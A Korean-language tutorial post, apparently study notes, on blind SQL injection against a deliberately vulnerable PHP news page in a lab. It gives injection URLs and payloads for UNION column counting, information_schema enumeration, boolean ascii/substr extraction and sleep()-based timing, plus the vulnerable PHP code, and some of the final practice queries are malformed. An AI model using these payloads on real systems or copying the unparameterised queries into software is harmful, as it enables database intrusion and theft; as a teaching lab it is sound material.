blind SQL injection


-select 쿼리에 취약점이 있는경우

-화면에 노출되지 않는 테이블의 정보를 노출시키는게 가능




1.예제 작성


1).디비 구성:blind 



-news:(int)no,(text)title,(text)news






-fnews: no, title,news,bigo


-anews: no,title




news.php




1.취약점 확인

select * from news where no=1 asdasdasf

왜 에러가 났는지 알아야함 

asdasdasf이걸 쿼리로 이해했기 때문에 오류로 인식함 


"공백의 차이" 



$sql="select * from news where no={$_GET[no]}";

no를 숫자로 입력할 경우 

http://192.168.4.33/news.php?no=1 asdasdasf

쿼리 에러가 발생한다

select * from news where no=1 asdasdasf(query error)



$sql="select * from news where no='{$_GET[no]}'";

no를 문자로 입력할 경우 

http://192.168.4.33/news.php?no=1 asdasdasf


쿼리 에러를 발생하지 않는다 

select * from news where no='1 asdasdasf'(not error)



문자열을 쿼리 에러로 발생하게 하는방법은 

('나 "로 막아주면 거기까지 문자열 처리가 되서 그 뒤는 쿼리로 발생하게 된다)

select * from news where no='1' asda'

이렇게 처리하는것도 뒤에 문법상 맞지 않으니까 # 주석을 넣어서 뒤를 처리해준다 

select * from news where no='1' asda #'

select * from news where no='1\' asda #'


만약 ' " 값도 쿼리 에러를 주고싶지 않으면 (방어법)

$_GET[no]=addslashs($_GET[no]);

처리를 해버리면 아직까지는 우회할수 있는 방법은 없다 

앞에서 확인한것처럼 앞에 \가 다 붙기 때문에 문자열 처리를 벗어날수가 없다. 


$sql="select * from news where no='{$_GET[no]}'";

$sql="select * from news where no=\"{$_GET[no]}\"";


'(싱글쿼터)

"(더블쿼터)

둘다 쓸수 있어서 코드를 보지 않고는 어떤 방식으로 사용된것지 모르니까

다 확인해 봐야한다 




2.취약점 확인-참 또는 거짓  

$sql="select * from news where no={$_GET[no]}";

no를 숫자로 입력할 경우 



select * from news where no=1 and 1=1 실행

select * from news where no=1 and 1=2 오류


select * from news where no=1 and true 실행    

select * from news where no=1 and false 오류


select * from news where no=1 and 1 실행

select * from news where no=1 and 0 오류



select * from news where no=1; select * from fnews;

mysql 에서는 사용이 가능하지만 웹상에서는 사용이 불가능하다

;으로 가능하다


그래서 웹상에서는 union 을 사용해서 첫번째 쿼리와 두번째 쿼리를 합쳐준다

SELECT union SELECT 만 사용이 가능하고 

select * from news where no=1 union select * from news where no=1;


select * from news where no=1 union all select * from news where no=1;

모든 내용을 확인할수 있다



3.컬럼의 갯수


-컬럼의 갯수를 알지 못하면 union은 사용할 수 없다.


select * from news where no=1 union all select * from fnews

news의 컬럼의 숫자는 3개이고 fnews는 컬럼의 숫자가 4개라 문법 오류가 난다 

union을 사용할때는 컬럼의 숫자를 맞춰줘야한다


select * from news where no=1 union all select concat(no,title),news,bigo from fnews

이렇게 맞추면 되고 근데 이렇게되면 no 변수를 확인하지 못하니까 concat 함수를 써서 묶어주거나


select * from news where no=1 union all select title,news,null from fnews

의미없는 값을 써줘서 숫자를 맞춰도 상관이 없다


"개수를 찾는 법"


1. select * from news where no=1 union select 1,

select * from news where no=1 union select 1,2

select * from news where no=1 union select 1,2,3

노가다한다


2. select * from news where no=1 order by 100;

select * from news where no=1 order by 50;

select * from news where no=1 order by 10;

select * from news where no=1 order by 3;

숫자 만큼 칼럼을 정렬하라는 sql 쿼리인데 만약 숫자만큼 칼럼의 숫자가 없으면 오류가 난다 

이런 식으로 검색을 하면서 오류가 나는지 안나는지 확인한다



4.컬럼과 테이블의 이름


1).Guessing...(추측)


예).사용자 정보 


-user,member,


2).information_schema(mysql 에서만 사용이 가능하다 )


-select table_schema,table_name,table_type from information_schema.tables

-select table_schema,table_name,column_name from information_schema.columns

이렇게 information_schema 를 통해 모든 테이블,칼럼,등등 의 정보를 출력 할 수 있다.


5.확인하고자 하는 테이블과 비교한다 



---------더 어렵게


<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);



if($resource){

        echo "<h1>welcome News Site!!</h1>";

        $row=mysql_fetch_array($resource);

        echo "<h3>{$row[1]}</h3><br>";

        echo "<p>{$row[2]}</p>";

        

}

?>


while()문을 사용하지 않고 mysql_fetch_row()함수를 한번만 사용했기 때문에 

union을 이용하여 뒤에 select 1,2,3을 입력해도 첫번째 행만 출력하는 상황이다 



ex) 600번째 칼럼을 가지고오고 싶으면 


-select table_schema,table_name,table_type from information_schema.columns limit 599,1

가져올 라인수를 하나로 줄여주면서 사용이가능







--------------------더어렵게

<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);

$row=mysql_fetch_array($resource,MYSQL_BOTH));


if($row){


        echo "<h1>Welcome News Site!!!</h1>";


}

?>



아예 출력자체가 안되면 union을 쓸수없다 


*limit 함수

mysql> SELECT column_name FROM columns limit 0,10 ;

=> SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )


mysql> SELECT column_name FROM columns limit 0,5 ;

=> SELECT의 결과에서 0번째 데이터부터 5개의 데이터를 출력 ( 0번째 줄 ~ 4번째 줄 )


mysql> SELECT column_name FROM columns limit 6,5 ;

=> SELECT의 결과에서 6번째 데이터부터 5개의 데이터를 출력 ( 6번째 줄 ~ 10번째 줄)



*substr( 문자열, 시작위치, 개수 ):    문자열의 시작위치( 1부터시작 ) 에서부터 개수만큼의 글자를 가져온다


mysql> SELECT substr( 'Hello, injection' , 1, 5 );

1번째 글자부터 5개 출력 => Hello


mysql> SELECT substr( 'Hello, injection' , 1, 1 );

1번째 글자부터 1개 출력 => H


mysql> SELECT substr( 'Hello, injection' , 2, 1 );

2번째 글자부터 1개 출력 => e


mysql> SELECT substr( 'Hello, injection' , 3, 1 );

3번째 글자부터 1개 출력 => l



mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,1, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 1번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,2, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 2번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,3, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 3번째 글자부터 1개의 글자를 아스키코드로 변환





columns 테이블에서 column_name 의 첫번째 행의 값을 알려고한다 

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))<100 (참)

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))<50(거짓)
..이런식으로 검색해보면 

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))=68
columns 테이블의 첫번째 데이터의 첫글자의 아스키 코드 값을 알수있다 68


columns 테이블에서 column_name 의 두번째 값을 알려고한다 


http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<100 참

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<50 거짓


....

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))=72


이런식으로 모든 값을 확인할수 있다

그리고 char() 내장 함수를 사용하여 내가 원하는 값으로 다시 변경 가능하다



한가지 팁이면 먼저 길이를 구하고 값을 획득해도 상관없다 


select * from news where no=1 and length((select table_name from information_schema.columns limit 20,1)) = 10



---------------더 어렵게 (출력문이 없어 참 거짓도 확인하지 못하게)



<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);

$row=mysql_fetch_array($resource,MYSQL_BOTH));


?>


이런식으로 확인한다


http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100) 




[실습]

40번째 테이블의 이름을 확인(tables,limit 40)


http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100) 


or select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)

select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)



select * from news where no=1 or 

select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1 and sleep(10)


select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1


select * from news where no=1 and ascii(substring((select table_name from information_schema.table limit 20,1),3,1) = 10









+ Recent posts